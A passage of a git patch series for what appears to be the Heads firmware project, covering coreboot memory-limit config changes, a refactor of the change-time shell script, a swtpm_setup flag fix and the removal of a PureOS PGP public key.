4b83a25bc1..35403373e7 100644 +--- a/src/northbridge/intel/haswell/Kconfig ++++ b/src/northbridge/intel/haswell/Kconfig +@@ -60,6 +60,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default ECAM_MMCONF_BASE_ADDRESS ++ + config DCACHE_RAM_BASE + hex + default 0xff7c0000 +diff --git a/src/northbridge/intel/i945/Kconfig b/src/northbridge/intel/i945/Kconfig +index ef925e17e7..32eff1a611 100644 +--- a/src/northbridge/intel/i945/Kconfig ++++ b/src/northbridge/intel/i945/Kconfig +@@ -41,6 +41,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config OVERRIDE_CLOCK_DISABLE + bool + default n +diff --git a/src/northbridge/intel/ironlake/Kconfig b/src/northbridge/intel/ironlake/Kconfig +index ce705dcf53..2bafebf92e 100644 +--- a/src/northbridge/intel/ironlake/Kconfig ++++ b/src/northbridge/intel/ironlake/Kconfig +@@ -47,6 +47,10 @@ config ECAM_MMCONF_BASE_ADDRESS + config ECAM_MMCONF_BUS_NUMBER + default 256 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config INTEL_GMA_BCLV_OFFSET + default 0x48254 + +diff --git a/src/northbridge/intel/pineview/Kconfig b/src/northbridge/intel/pineview/Kconfig +index 877812643a..59cfcd5e0a 100644 +--- a/src/northbridge/intel/pineview/Kconfig ++++ b/src/northbridge/intel/pineview/Kconfig +@@ -38,4 +38,8 @@ config FIXED_DMIBAR_MMIO_BASE + config FIXED_EPBAR_MMIO_BASE + default 0xfed19000 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + endif +diff --git a/src/northbridge/intel/sandybridge/Kconfig b/src/northbridge/intel/sandybridge/Kconfig +index f7d56c7503..fa40b0668d 100644 +--- a/src/northbridge/intel/sandybridge/Kconfig ++++ b/src/northbridge/intel/sandybridge/Kconfig +@@ -104,6 +104,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default ECAM_MMCONF_BASE_ADDRESS ++ + config DCACHE_RAM_BASE + hex + default 0xfefe0000 +diff --git a/src/northbridge/intel/x4x/Kconfig b/src/northbridge/intel/x4x/Kconfig +index 9af063819b..097e11126c 100644 +--- a/src/northbridge/intel/x4x/Kconfig ++++ b/src/northbridge/intel/x4x/Kconfig +@@ -28,6 +28,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 256 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config SMM_RESERVED_SIZE + hex + default 0x100000 +-- +2.39.2 + From e6382176a018d4f0f2fa9b13c11eaa5ad7f2659a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 5 Aug 2024 05:37:37 -0400 Subject: [PATCH 202/619] coreboot 24.02.01: redo save in oldconfig with patch for sandy/ivy/haswell: configs updated repro saving all boards configs to oldconfig grep -R CONFIG_COREBOOT_VERSION boards/ | awk -F "/" {'print $2'} | while read board; do if ! sudo make BOARD=$board coreboot.save_in_oldconfig_format_in_place > /dev/null 2>&1; then echo $board failed;fi; done Signed-off-by: Thierry Laurion --- config/coreboot-t420-maximized.config | 2 +- config/coreboot-t430-maximized.config | 2 +- config/coreboot-t440p.config | 2 +- config/coreboot-t530-maximized.config | 2 +- config/coreboot-w530-maximized.config | 2 +- config/coreboot-w541.config | 2 +- config/coreboot-x220-maximized.config | 2 +- config/coreboot-x230-legacy-flash.config | 2 +- config/coreboot-x230-legacy.config | 2 +- config/coreboot-x230-maximized-fhd_edp.config | 2 +- config/coreboot-x230-maximized.config | 2 +- config/coreboot-z220-cmt.config | 2 +- 12 files changed, 12 insertions(+), 12 deletions(-) diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index 173d7272d..44f4610e5 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -257,7 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index f4796932d..1e6c97dec 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -257,7 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 4983accfe..392c87b17 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -255,7 +255,7 @@ CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xe8000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 0f46bb16b..2fad20d33 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -257,7 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 7fa487dcf..ae1ae5e24 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -260,7 +260,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 467fa864d..b8ccf8e4c 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -255,7 +255,7 @@ CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xe8000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 067fe4cc8..e2bd2aa72 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -257,7 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index f843f0f5d..a2b3d0efa 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -255,7 +255,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index cb6cff727..dc57f10d9 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -255,7 +255,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 78e13c719..f7b59b0fc 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -258,7 +258,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index fb3b43f1f..64d57bfba 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -257,7 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 02391519a..d4c965eb9 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -242,7 +242,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 From 16f07936481278e0eeaa2739cde808861efbdb87 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 08:49:30 -0400 Subject: [PATCH 203/619] initrd/bin/change-time: Label parameters of get_date Use local named variables instead of $1-$4 throughout the function. This makes the implementation clearer and documents the usage. Signed-off-by: Jonathon Hall --- initrd/bin/change-time | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index d99c21e42..4c6e2a279 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -8,22 +8,27 @@ echo -e -n "You need to set the time according to the UTC/GMT timezone please ch get_date () { - echo -e -n "Please insert $1 (between $2-$3) (Enter key to accept $2)\n" - read -n $4 value + local field_name min max digits + field_name="$1" + min="$2" + max="$3" + digits="$4" + echo -e -n "Please insert $field_name (between $min-$max) (Enter key to accept $min)\n" + read -n $digits value echo -e "\n" #if enter if [[ $value = "" ]]; then - value=$2 + value=$min fi #must be a $4 digits number between $2 and $3 - while [[ ! $value =~ ^[0-9]{$4} ]] || [[ ${value#0} -lt $2 ]] || [[ ${value#0} -gt $3 ]]; + while [[ ! $value =~ ^[0-9]{$digits} ]] || [[ ${value#0} -lt $min ]] || [[ ${value#0} -gt $max ]]; do - echo -e -n "$1 is wrong: you entered "$value". Please try again, it must be $4 digits number between $2 and $3 (press Enter to accept $2) \n" - read -n $4 value + echo -e -n "$field_name is wrong: you entered \"$value\". Please try again, it must be $digits digits number between $min and $max (press Enter to accept $min) \n" + read -n $digits value echo -e "\n" if [[ $value = "" ]]; then - value=$2 + value=$min fi done } From e32a417ed1dbe290e9e56d10e0dde0adae957242 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 08:57:37 -0400 Subject: [PATCH 204/619] targets/qemu.mk: Fix skip-if-exist in swtpm_setup Commit 46cad549 ("WiP flake.nix: make docker image usable for...") added 'root' to the swtpm_setup call, but broke skip-if-exist because the flags are supposed to be comma-separated. swtpm_setup was ignoring skip-if-exist and would fail if the config files exist. Put a comma there so it works again. Signed-off-by: Jonathon Hall --- targets/qemu.mk | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/targets/qemu.mk b/targets/qemu.mk index 23cdb7e24..d5d7dc018 100644 --- a/targets/qemu.mk +++ b/targets/qemu.mk @@ -16,7 +16,7 @@ endif ifeq "$(CONFIG_TPM2_TSS)" "y" SWTPM_TPMVER := --tpm2 -SWTPM_PRESETUP := swtpm_setup --create-config-files root skip-if-exist +SWTPM_PRESETUP := swtpm_setup --create-config-files root,skip-if-exist else # TPM1 is the default SWTPM_TPMVER := @@ -111,4 +111,4 @@ run: $(TPMDIR)/.manufacture $(ROOT_DISK_IMG) $(MEMORY_SIZE_FILE) $(USB_FD_IMG) $(QEMU_USB_TOKEN_DEV) \ stty sane - @echo \ No newline at end of file + @echo From a7fb7c83ab19b6971a1d3f20a1350db70d0fe571 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:07:53 -0400 Subject: [PATCH 205/619] keys: Remove PureOS signing key PureOS ISOs still are not detach-signed and it is misleading that there is a key here. Remove it, we'll add it when the ISOs are signed. Signed-off-by: Jonathon Hall --- initrd/etc/distro/keys/pureos.key | 51 ------------------------------- 1 file changed, 51 deletions(-) delete mode 100644 initrd/etc/distro/keys/pureos.key diff --git a/initrd/etc/distro/keys/pureos.key b/initrd/etc/distro/keys/pureos.key deleted file mode 100644 index bf34dc827..000000000 --- a/initrd/etc/distro/keys/pureos.key +++ /dev/null @@ -1,51 +0,0 @@ ------BEGIN PGP PUBLIC KEY BLOCK----- - -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 -=aliF ------END PGP PUBLIC KEY BLOCK----- From 770815cba89deb66331984c2d669c5a294fa81bd Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:12:03 -0400 Subject: [PATCH 206/619] change-time: Complete input with Enter, allow Backspace, don't require leading zeroes Allow Backspace in input. It's really frustrating otherwise if a typo cannot be corrected, and worse, the backspace key actually produces a character that becomes part of the input. Complete input with Enter. It is surprising when the script just moves on right away once a fourth/second digit is entered, and worse, users expecting to press Enter could reasonably press it before realizing the script did not require it, which then skips the _next_ prompt inadvertently. Users with imperfect typing might double a digit unintentionally, do not force them to proceed with an incorrect value. Removing '-n $digits' from read does both of those. Add '-r' so backslashes do not have unexpected behavior. Don't require leading zeroes, zero-pad automatically. Signed-off-by: Jonathon Hall --- initrd/bin/change-time | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index 4c6e2a279..0035841c4 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -14,23 +14,26 @@ get_date () { max="$3" digits="$4" echo -e -n "Please insert $field_name (between $min-$max) (Enter key to accept $min)\n" - read -n $digits value + read -r value echo -e "\n" #if enter if [[ $value = "" ]]; then value=$min fi - #must be a $4 digits number between $2 and $3 - while [[ ! $value =~ ^[0-9]{$digits} ]] || [[ ${value#0} -lt $min ]] || [[ ${value#0} -gt $max ]]; + #must be a number between $2 and $3 + while [[ ! $value =~ ^[0-9]*$ ]] || [[ ${value#0} -lt $min ]] || [[ ${value#0} -gt $max ]]; do - echo -e -n "$field_name is wrong: you entered \"$value\". Please try again, it must be $digits digits number between $min and $max (press Enter to accept $min) \n" - read -n $digits value + echo -e -n "$field_name is wrong: you entered \"$value\". Please try again, it must be a number between $min and $max (press Enter to accept $min) \n" + read -r value echo -e "\n" if [[ $value = "" ]]; then value=$min fi done + + # Pad with zeroes to digits + value="$(printf "%0${digits}u" "$value")" } get_date "year" "2024" "2200" "4" From a1343666d55bd044204e756dddd89f26bf2afc41 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:22:59 -0400 Subject: [PATCH 207/619] change-time: Test date exit status directly There's no need to try to parse stdout/stderr to figure out if date succeeded, just check if it was successful directly. Signed-off-by: Jonathon Hall --- initrd/bin/change-time | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index 0035841c4..1a130e7f3 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -49,11 +49,7 @@ min=$value get_date "second" "00" "59" "2" sec=$value -##getting the output of date -s -OUTPUT=$(date -s "$year-$month-$day $hour:$min:$sec" 2>&1) - -##if output is starting with the letter d which is the beginning of the error message then we do the script again -if [[ ${OUTPUT} == d* ]]; then +if ! date -s "$year-$month-$day $hour:$min:$sec" &>/dev/null; then echo "The date is not correct, press any key to try again" echo -e "\n" read -n 1 nothing From b908e0b8bd3059aceb1cc69ff95e2ade695a76d7 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:26:36 -0400 Subject: [PATCH 208/619] change-time: Don't offer minimum field value as default There's little value to offering the minimum field value as a default IMO: * it's rarely accurate (e.g. minute 00 is only accuate 1/60 of the time) * it's very obvious to just press '0' instead (and no longer needs to be '00') * it eliminates a lot of wordiness you otherwise have to read (or more likely, ignore) Signed-off-by: Jonathon Hall --- initrd/bin/change-time | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index 1a130e7f3..890b3c5dd 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -13,23 +13,16 @@ get_date () { min="$2" max="$3" digits="$4" - echo -e -n "Please insert $field_name (between $min-$max) (Enter key to accept $min)\n" + echo "Please insert $field_name (between $min-$max)" read -r value - echo -e "\n" - #if enter - if [[ $value = "" ]]; then - value=$min - fi + echo #must be a number between $2 and $3 - while [[ ! $value =~ ^[0-9]*$ ]] || [[ ${value#0} -lt $min ]] || [[ ${value#0} -gt $max ]]; + while [[ ! $value =~ ^[0-9]+$ ]] || [[ ${value#0} -lt $min ]] || [[ ${value#0} -gt $max ]]; do - echo -e -n "$field_name is wrong: you entered \"$value\". Please try again, it must be a number between $min and $max (press Enter to accept $min) \n" + echo "$field_name is wrong: you entered \"$value\". Please try again, it must be a number between $min and $max" read -r value - echo -e "\n" - if [[ $value = "" ]]; then - value=$min - fi + echo done # Pad with zeroes to digits From 234595df4a057fce60aaddc7194ee4f27ebeece6 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:30:38 -0400 Subject: [PATCH 209/619] change-time: Infer value digits automatically Infer digits from the length of the maximum value. Signed-off-by: Jonathon Hall --- initrd/bin/change-time | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index 890b3c5dd..f3568407f 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -8,11 +8,10 @@ echo -e -n "You need to set the time according to the UTC/GMT timezone please ch get_date () { - local field_name min max digits + local field_name min max field_name="$1" min="$2" max="$3" - digits="$4" echo "Please insert $field_name (between $min-$max)" read -r value echo @@ -25,21 +24,21 @@ get_date () { echo done - # Pad with zeroes to digits - value="$(printf "%0${digits}u" "$value")" + # Pad with zeroes to length of maximum value + value="$(printf "%0${#max}u" "$value")" } -get_date "year" "2024" "2200" "4" +get_date "year" "2024" "2200" year=$value -get_date "month" "01" "12" "2" +get_date "month" "01" "12" month=$value -get_date "day" "01" "31" "2" +get_date "day" "01" "31" day=$value -get_date "hour" "00" "23" "2" +get_date "hour" "00" "23" hour=$value -get_date "minute" "00" "59" "2" +get_date "minute" "00" "59" min=$value -get_date "second" "00" "59" "2" +get_date "second" "00" "59" sec=$value if ! date -s "$year-$month-$day $hour:$min:$sec" &>/dev/null; then From 355b7bc3028b7b346e7e6114f0db9cbb39578778 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 6 Aug 2024 09:38:01 -0400 Subject: [PATCH 210/619] change-time: Ask whether to retry, don't say "any key", loop instead of recurse Ask whether to retry instead of always retrying, so users can escape if there is a problem setting the date instead of being forced to enter values until it works. Ask to press Enter instead of "any key". "Any key" prompts are generally misleading, because there are usually keys that won't actually work (e.g. Ctrl, Caps Lock, Shift). Loop to retry if setting the date fails instead of recursing. Signed-off-by: Jonathon Hall --- initrd/bin/change-time | 65 ++++++++++++++++++++++++------------------ 1 file changed, 37 insertions(+), 28 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index f3568407f..b461049f1 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -28,31 +28,40 @@ get_date () { value="$(printf "%0${#max}u" "$value")" } -get_date "year" "2024" "2200" -year=$value -get_date "month" "01" "12" -month=$value -get_date "day" "01" "31" -day=$value -get_date "hour" "00" "23" -hour=$value -get_date "minute" "00" "59" -min=$value -get_date "second" "00" "59" -sec=$value - -if ! date -s "$year-$month-$day $hour:$min:$sec" &>/dev/null; then - echo "The date is not correct, press any key to try again" - echo -e "\n" - read 